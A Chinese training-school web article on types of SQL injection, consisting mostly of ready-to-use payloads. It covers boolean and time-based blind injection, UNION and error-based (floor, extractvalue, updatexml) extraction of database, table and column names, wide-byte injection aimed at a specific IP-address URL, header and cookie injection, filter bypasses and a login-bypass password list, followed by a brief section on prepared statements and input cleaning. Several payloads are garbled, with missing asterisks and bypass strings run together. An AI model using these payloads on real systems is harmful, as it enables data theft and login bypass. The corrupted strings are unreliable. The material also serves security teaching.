集团主站
欢迎来到成都达内官方网站!达内—美国上市公司 亿元级外企IT培训企业!
成都it培训哪家好
成都it培训哪家好
全国服务监督电话:15023458194  |   联系客服   |
当前位置:主页 > 培训课程 > 网络工程 >

成都网络安全培训班:SQL注入的分类

发布者: 成都达内     浏览次数:     发布时间:2021-04-06 10:27:27

成都网络安全培训班:Boolean型的注入意思就是页面返回的结果是Boolean型的,通过构造SQL判断语句,查看页面的返回结果是否报错,页面返回是否正常等来判断哪些SQL判断条件时成立的,...

  Boolean盲注

  Boolean型的注入意思就是页面返回的结果是Boolean型的,通过构造SQL判断语句,查看页面的返回结果是否报错,页面返回是否正常等来判断哪些SQL判断条件时成立的,通过此来获取数据库中的数据。

  id=1' and length(database())>=8--+

  Union注入

  当应用程序容易受到 SQL 注入攻击,并且查询结果在应用程序的响应中返回时,可使用 UNION 关键字从数据库的其他表检索数据。这就导致了 UNION 注入攻击。

  SELECT a, b FROM table1 UNION SELECT c, d FROM table2

  文件读写

  SQL注入读写文件的根本条件:

  数据库允许导入导出(secure_file_priv)

  当前用户用户文件操作权限(File_priv)

  报错注入{ floor报错注入

  floor:对任意的正或者负十进制值向下取整;通常利用这两个函数(group by)的方法是floor(rand(0))*2 ,其会生成0和1两个数

  爆数据库名:'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a

  爆表名:'union select 1 from (select count(),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)2))x from information_schema.tables group by x)a 爆列名:'union select 1 from (select count(),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)2))x from information_schema.tables group by x)a 爆数据:'union select 1 from (select count(),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)2))x from information_schema.tables group by x)a

  ExtractValue报错注入:

  函数原型:extractvalue(xml_document,Xpath_string)

  正常语法:extractvalue(xml_document,Xpath_string); 第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:Xpath_string是xpath格式的字符串 作用:从目标xml中返回包含所查询值的字符串

  第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。

  爆数据库名:id='and(select extractvalue(1,concat('~',(select database()))))

  爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) 爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME")))) 爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

  UpdataXml报错注入

  函数原型:updatexml(xml_document,xpath_string,new_value)

  正常语法:updatexml(xml_document,xpath_string,new_value) 第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格 式的字符串 第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值

  第二个参数跟extractvalue函数的第二个参数一样,因此也可以利用,且利用方式相同

  爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))

  爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e)) 爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e)) 爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

  } 时间盲注

  时间盲注出现的本质原因也是由于服务器拼接了SQL语句,但是正确和错误存在同样的回显,所以根据页面响应时间来判断结果。

  ' and if(1=0,1, sleep(10)) --+ ,若为真时延时,则

  爆数据库 ' and if(ascii(substr(database(),1,1))>95,sleep(6),1)%23(二分法猜解数据库名每一个数据,最好先爆数据库长度)

  REGEXP正则匹配(盲注值正则表达式攻击)

  应该场景就是盲注,原理就是直接查询自己需要的数据,然后通过正则表达式进行匹配,实用场景如下:

  and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" AND table_name REGEXP '^[a-z]' LIMIT 0,1)

  宽字节注入

  GBK 占用两字节,ASCII占用一字节

  PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。

  大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

  http://103.238.227.13:10083/index.php?id=%df%27 union select 1,2%23

  堆叠注入

  在SQL语句中,语句的结束都是以;结尾,但是如果我们在;后面再加上一条SQL语句,两条语句会一起执行吗?这也就是造成堆叠注入的原因了。例:select * from users;DELETE FROM test

  二次注入

  攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

  第一步:插入恶意数据 进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

  第二步:引用恶意数据 开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

  User-Agent注入

  Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+;攻击者却将 SQL 查询语句 select * from (select(sleep(20))) 隐藏在了 HTTP 头部的 User-Agent 字段之中

  Cookie注入

  1.寻找形如“.asp?id=xx”类的带参数的URL。

  2.去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。

  3.清空浏览器地址栏,输入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用使用Request("id")这种方式获取数据的。

  4.重复上面的步骤,将常规SQL注入中的判断语句带入上面的URL:“javascript:alert(document.cookie="id="+escape("xx and 1=1"));” “javascript:alert(document.cookie="id="+escape("xx and 1=2"));”。和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入。

  5.使用常规注入语句进行注入即可。

  过滤绕过

  1、过滤关键字

  过滤如select、or、from等的关键字。则可以采用穿插关键字进行绕过操作,如 select ---- selselectect;or ----oorr;union ---- uniunionon。也可以通过大小写转换,如select --- SeLect。十六进制过滤 select --- selec\x74等等。

  2、过滤空格

  注释:#;--;//。

  URL编码:空格编码%20,则 %20 ---- %2520

  等

  3、过滤单引号

  4、绕过相等过滤

  万能密码

  'or'='or'adminadmin'--admin' or 4=4--admin' or '1'='1'--admin888"or "a"="aadmin' or 2=2#a' having 1=1#a' having 1=1--admin' or '2'='2')or('a'='aor 4=4--ca'or' 4=4--"or 4=4--'or'a'='a"or"="a'='a'or''=''or'='or'1 or '1'='1'=11 or '1'='1' or 4=4'OR 4=4%00"or 4=4%00'xoradmin' UNION Select 1,1,1 FROM admin Where ''='1-1%cf' union select 1,1,1 as password,1,1,1 %23117..admin' or 'a'='a 密码随便'or'='or''or 4=4/*something' OR '1'='11'or'1'='1admin' OR 4=4/*1'or'1'='1

  SQL注入的预防

  预编译

  预编译可以防止sql注入的原因:进行预编译之后,sql语句已经被数据库分析,编译和优化了,并且允许数据库以参数化的形式进行查询,所以即使有敏感字符数据库也会当做属性值来处理而不是sql指令了

  conn.prepareStatement(sql);

  因为SQL语句在程序运行前已经进行了预编译,在程序运行时第一次操作数据库之前,SQL语句已经被数据库分析,编译和优化,对应的执行计划也会缓存下来并允许数据库以参数化的形式进行查询,当运行时动态地把参数传给PreprareStatement时,即使参数里有敏感字符如 or '1=1'也数据库会作为一个参数一个字段的属性值来处理而不会作为一个SQL指令,如此,就起到了防御SQL注入的作用了!

  PDO

  $dbh = new PDO('mysql:dbname=dbtest;host=127.0.0.1;charset=utf8', 'user', 'pass');$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

  setAttribute()这一行是强制性的,它会告诉 PDO 禁用模拟预处理语句,并使用 real parepared statements 。这可以确保SQL语句和相应的值在传递到mysql服务器之前是不会被PHP解析的(禁止了所有可能的恶意SQL注入攻击)。

  正则表达式过滤

  function clean($str){ $str=trim($str); $str=strip_tags($str); $str=stripslashes($str); $str=addslashes($str); $str=rawurldecode($str); $str=quotemeta($str); $str=htmlspecialchars($str); $str=preg_replace("//+|/*|/`|//|/-|/$|/#|/^|/!|/@|/%|/&|/~|/^|/[|/]|/'|/"/", "", $str);//去除特殊符号+*`/-$#^~!@#$%&[]'" $str=preg_replace("//s/", "", $str);//去除空格、换行符、制表符 return $str;}

(责任编辑:范老师)
相关文章
最新开班
  • 成都Java培训班
    免费试听名额发放中...
  • 成都C++培训班
    免费试听名额发放中...
  • 成都PHP培训班
    免费试听名额发放中...
  • 成都网络工程培训班
    免费试听名额发放中...
  • 成都Unity3D培训班
    免费试听名额发放中...
  • 成都大数据培训班
    免费试听名额发放中...
  • 成都uid培训班
    免费试听名额发放中...
  • 成都会计培训班
    免费试听名额发放中...
  • 成都Python培训班
    免费试听名额发放中...
  • 成都嵌入式培训班
    免费试听名额发放中...
  • 成都web培训班
    免费试听名额发放中...
  • 成都软件测试培训班
    免费试听名额发放中...
在线留言
提交

校区地址:成都市锦江区东大街紫东楼端35号明宇金融广场19楼1906室

联系电话:15023458194

公交路线:芷泉街(18路;21路;43路;48路;104路;152路;335路 ) 地铁路线:东门大桥站(地铁2号线)

校区地址:成都市高新区奥克斯广场蜀锦路209号一楼商铺

联系电话:15023458194

公交路线:益州大道锦城大道口(18路;21路;43路;48路;104路;152路;335路 ) 地铁路线:孵化园(地铁1号线)

校区地址:成都锦江区东大街芷泉街229号东方广场C座3楼303

联系电话:15023458194

公交路线:芷泉街(188路;115路;515路;236路;505路;501路;84路 ) 地铁路线:东门大桥站(地铁2号线)

校区地址:成都市武侯区佳灵路3号红牌楼广场2号写字楼11楼1115号

联系电话:15023458194

公交路线:红牌楼东(11路;92路;100路;111路;139路;g28路;快速公交K1/K2) 地铁路线:红牌楼站(地铁3号线)

校区地址:成都市锦江区红星路二段70号四川日报大厦502-2

联系电话:15023458194

公交路线:市二医院站(6路;49路;102路;5路;37路;g92路;) 地铁路线:地铁市二医院(地铁3号线)

校区地址:成都市锦江区东大街芷泉段229号东方广场C座16层

联系电话:15023458194

公交路线:芷泉街(18路;21路;43路;48路;104路;152路;335路 ) 地铁路线:东门大桥站(地铁2号线)

校区地址:四川省成都市武侯区高新科技孵化园9号园区E座7楼

联系电话:15023458194

公交路线:益州大道锦城大道口(18路;21路;43路;48路;104路;152路;335路 ) 地铁路线:孵化园(地铁1号线)

了解达内动态
关注成都达内教育公众号

首页 | 关于达内 | 课程中心 | 专家师资 | 视频教程 | 学员空间 | 校企合作 | 新闻资讯 | 就业指导 | 网站地图

2016-2025 达内时代科技集团有限公司 版权所有 京ICP证8000853号-56 蜀ICP备18021046号-3